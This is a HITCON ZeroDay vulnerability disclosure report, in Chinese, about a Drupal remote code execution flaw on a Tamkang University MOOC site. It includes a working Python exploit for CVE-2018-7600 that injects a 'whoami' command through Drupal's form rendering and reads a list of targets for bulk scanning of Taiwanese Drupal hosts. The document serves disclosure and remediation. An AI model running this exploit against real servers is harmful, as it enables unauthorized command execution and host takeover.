淡江大學 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00402
  •  發信 Vendor: 淡江大學
  • Title: 淡江大學
  • Introduction: Drupal RCE

處理狀態

目前狀態

公開
Last Update : 2023/09/29
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/07/30 19:38:31 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/30 19:41:29 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/30 22:26:37 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/30 22:27:43 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/31 12:06:43 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/31 12:39:22 : 新提交 (由 Noth 更新此狀態)
  • 2023/07/31 15:22:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/08 19:04:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/08 19:04:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/08 19:04:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/09/29 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00402
  • 通報者:shen (Noth)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://mooc.tku.edu.tw/

敘述

利用 Fofa 將台灣使用 Drupal CMS 系統 ip 寫成批量進行掃描,發現存在 RCE 弱點。

#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
# Author : Noth

import re
import requests
from multiprocessing import Pool, Manager

requests.packages.urllib3.disable_warnings()

def poc(target):
    get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': 'whoami'}
    post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
    try:
        r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False)
        rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
        form_build_id = rule1.findall(r.text)
        if form_build_id:
            get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
            post_params = {'form_build_id':form_build_id[0]}
            r = requests.post(target, params=get_params, data=post_params, verify=False)
            rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
            parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
            if parsed_result and len(parsed_result[0])>0:
                print(("vulnerable target: "+    target+    "\n當前權限:"+    parsed_result[0]))
                return ("vulnerable target:"+    target+    "\n當前權限:"+    parsed_result[0])
    except:
        pass
try:
    with open('/home/kali/Desktop/PoC/CVE-2018-7600-Drupal7/target.txt') as file:
        url_list = file.readlines()
        for url in url_list:
           target_url = url.strip()
           print("測試 URL:",target_url)
           poc(target_url)
except FileNotFoundError:
    print('當前路徑找不到 target.txt')
except IOError:
    print('文件權限錯誤,無法讀取')

圖片

修補建議

一 . 更新到最新版本。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;